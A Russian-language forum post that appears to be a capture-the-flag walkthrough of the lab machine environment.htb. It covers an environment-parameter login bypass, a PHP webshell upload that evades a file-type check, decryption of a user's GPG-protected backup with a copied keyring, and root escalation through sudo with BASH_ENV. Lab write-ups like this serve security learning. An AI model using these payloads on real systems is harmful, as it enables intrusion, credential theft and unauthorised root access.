- Сообщения
- 997
- Реакции
- 1.426
Environment - Linux Medium
В прошлый раз мы начали с прохождения лёгкой машины и как я писал в первой статье, пойдём по нарастающей. Начнем прохождение машины, как всегда, с первичных сканов. Результаты сканирования с помощью Nmap показали только два открытых порта:
Код:
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
| 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open http syn-ack ttl 63 nginx 1.22.1
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Dirsearch выявил доступные страницы, и я решил начать с страницы логина:
Перехватив форму отправки запроса во время логина с помощью Burp, можно увидеть следующую строку:
Код:
token=(Токен)&password=(Пароль)&remember=(True/False)
Далее необходимо было поискать информацию о том, как можно использовать данную уязвимость.
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
- Вот на это я наткнулся в первую очередь.Перехватываем запрос и вставляем следующий параметр на странице логина:
Код:
POST /login?--env=preprod HTTP/1.1
После этого мы попадаем на страницу пользователя, где сразу бросается в глаза возможность загрузки файлов.
После загрузки необходимо обойти простой валидатор, который проверяет, какой файл загружается.
Меняем имя файла, убираем все, что идет после .png, и для проверки пробуем запустить консоль.
Важно добавить еще одну точку после shell.php, чтобы файл стал исполняемым, а не просто отображался на странице.
В итоге конечная версия отправляемого запроса выглядит следующим образом:
Код:
-----------------------------102509143130447136341113206885
Content-Disposition: form-data; name="upload"; filename="image1.php."
Content-Type: image/jpg
GIF89a
<?php eval($_GET["cmd"]);?>
Код:
http://environment.htb/storage/files/image.php?cmd=phpinfo();
Далее загружаем туда shell-код и стабилизируем оболочку. Код можно взять здесь: -
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. export TERM=xterm
3. После нажать ctrl+z
4. stty raw -echo; fg
Просматриваем каталог и находим флаг. Затем открываем директорию backup — возможно, там будет что-то интересное.
Код:
cp -r /home/hish/.gnupg /tmp/gnupg
Код:
chmod -R 700 /tmp/gnupg
Код:
gpg --homedir /tmp/gnupg --list-secret-keys
Код:
gpg --homedir /tmp/gnupg --output /tmp/text.txt --decrypt /home/hish/backup/keyvault.gpg
Код:
sudo -l
Проверяем и смотрим, какие у нас есть права.
Поскольку у нас есть доступ к команде systeminfo, мы просто запустим новую оболочку с правами рута через нее.
Код:
echo 'bash -p' > exploit.sh
chmod +x exploit.sh
sudo BASH_ENV=./exploit.sh /usr/bin/systeminfo
